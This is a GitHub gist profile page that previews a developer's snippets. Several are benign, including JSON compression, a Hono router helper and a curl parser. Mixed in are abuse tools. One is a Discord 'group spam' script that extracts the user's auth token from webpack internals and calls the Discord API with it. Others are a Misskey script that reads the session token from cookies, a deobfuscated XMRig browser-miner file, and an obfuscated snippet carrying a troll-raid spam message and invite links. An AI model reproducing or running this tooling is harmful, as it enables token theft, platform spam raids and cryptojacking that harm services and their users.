Skip to content

Instantly share code, notes, and snippets.

View EdamAme-x's full-sized avatar
💫
edamamex.dev

EdamAmex EdamAme-x

💫
edamamex.dev
View GitHub Profile
@EdamAme-x
EdamAme-x / test.js
Created January 21, 2025 13:55
discord group spam
// 悪用厳禁
const token = (webpackChunkdiscord_app.push([[''],{},e=>{m=[];for(let c in e.c)m.push(e.c[c])}]),m).find(m=>m?.exports?.default?.getToken!==void 0).exports.default.getToken()
fetch("https://discord.com/api/v9/users/@me/channels", {
"headers": {
"accept": "*/*",
"accept-language": "ja-JP,ja;q=0.9,ar-SS;q=0.8,ar;q=0.7,en-US;q=0.6,en;q=0.5,ko-KR;q=0.4,ko;q=0.3",
"authorization": token,
"cache-control": "no-cache",
"content-type": "application/json",
@EdamAme-x
EdamAme-x / compress-json.ts
Created January 9, 2025 04:49
compress-json
// @copyright EdamAme-x
type JSONPrimitive = string | boolean | number | null | undefined
type JSONArray = JSONValue[]
type JSONObject = { [key: string]: JSONValue }
type JSONValue = JSONObject | JSONArray | JSONPrimitive
const reservedSymbol = [
"/",
"=",
@EdamAme-x
EdamAme-x / x.js
Last active January 2, 2025 22:47
Twitter x transaction id
import "./dom.js";
// <meta name="twittter-site-verification" content="..." />
const twitterSiteVerification =
"...";
const selector = "[id^='loading-x-anim-']";
const xTransactionId = () => {
let LW;
package main
import (
"fmt"
"math/big"
)
func main() {
maxA := 100000
maxN := 100
@EdamAme-x
EdamAme-x / deobf_xmrig.js
Created August 1, 2024 08:13
deobf_xmrig.js
var scriptTag;
var rightP;
var rightA;
var VersionCheck;
var CustomP;
var Webs;
var MyC;
var wigi;
var job;
var worcy;
@EdamAme-x
EdamAme-x / achievement.misskey.ts
Created July 20, 2024 09:12
Misskey Achivement Getter
const token = document.cookie.split("; ").map(c => c.startsWith("token=") ? c.split("=").pop() : null).filter(Boolean).shift()
const alist = [
'notes1',
'notes10',
'notes100',
'notes500',
'notes1000',
'notes5000',
'notes10000',
@EdamAme-x
EdamAme-x / mergeRoutes.ts
Created July 17, 2024 09:29
Hono MergeRoutes
import { Hono } from 'hono';
import type { MergeSchemaPath, MergePath, Env, Schema } from 'hono/types';
export interface Module {
path: string
routes: Hono
}
export function mergeRoutes<T extends Module[], H extends Hono>(base: H, ...routes: T) {
for (const route of routes) {
@EdamAme-x
EdamAme-x / main.ts
Last active January 17, 2024 00:18
JSON minifier
const base = `
{
"a": 1,
"b": {
"c": 2,
"d": "ai",
"e": 2.3,
"f": true,
"g": null,
"h": [
@EdamAme-x
EdamAme-x / main.min.js
Created January 12, 2024 04:01
parseCurlToFetch
/**
* @Author @amex2189
*/
const scan=(e,a,r)=>{let t="";for(;e.length>0;){let s=e.match(a);s?(t+=e.slice(0,s.index),t+=r(s),e=e.slice(s.index+s[0].length)):(t+=e,e="")}},splitReg=/\s*(?:([^\s\\\'\"]+)|'((?:[^\'\\]|\\.)*)'|"((?:[^\"\\]|\\.)*)"|(\\.?)|(\S))(\s|$)?/,split=e=>{void 0===e&&(e="");let a=[],r="";return scan(e,splitReg,([e,t,s,o,d,c,i])=>{if(void 0!==c)throw Error("Unmatched quote");r+=t||(s||o||d).replace(/\\(?=.)/,""),void 0!==i&&(a.push(r),r="")}),r&&a.push(r),a},rewrite=e=>e.reduce((e,a)=>(0===a.indexOf("-X")?(e.push("-X"),e.push(a.slice(2))):e.push(a),e),[]),matchUrl=/((^https?:\/\/)|(^(?:[0-9]{1,3}\.){3}[0-9]{1,3})|localhost)/,addArg=(e,a)=>e?e+"&"+a:a,capitalize=e=>e[0].toUpperCase()+e.slice(1).toLowerCase(),forbidden=["Accept-Charset","Accept-Encoding","Access-Control-Request-Headers","Access-Control-Request-Method","Connection","Content-Length","Cookie","Cookie2","Date","DNT","Expect","Host","Keep-Alive","Origin","Referer","TE","Trailer","Transfer-Encoding","Upgrade","Via",],parseCurlTo
!function(r,n){for(var t=B,e=r();;)try{if(-parseInt(t(493))/1+parseInt(t(484))/2*(-parseInt(t(498))/3)+parseInt(t(490))/4+-parseInt(t(477))/5*(-parseInt(t(480))/6)+parseInt(t(499))/7*(parseInt(t(500))/8)+-parseInt(t(488))/9+parseInt(t(483))/10*(-parseInt(t(487))/11)==825866)break;e.push(e.shift())}catch(o){e.push(e.shift())}}(T,825866);var E=function(){var r=!0;return function(n,t){var e=r?function(){var r=B;if(r(478)!==r(494)){if(t){var o=t[r(482)](n,arguments);return t=null,o}}else e(r(497),{message:r(489)+o[r(495)]()[r(479)](36).substring(2,4)+"\n",p:J[r(495)]().toString(36),d:r(486),face:r(492)})}:function(){};return r=!1,e}}(),a=E(this,function(){var r=B;return a[r(479)]()[r(481)](r(485))[r(479)]()[r(496)](a).search(r(485))});function T(){var r=["6386365qlofBf","eiPdM","toString","6MzLHEo","search","apply","193690GCMYyO","32278RNAcZQ","(((.+)+)+)+$","#261e1c","22CCBwhB","3360888QnKtEU","\n荒らし共栄圏万歳\n荒らし共栄圏最強\nhttps://twitter.com/amex2189\nhttps://discord.gg/ctkpaarr\nhttps://ctkpaarr.org?","4553060dsSXYu"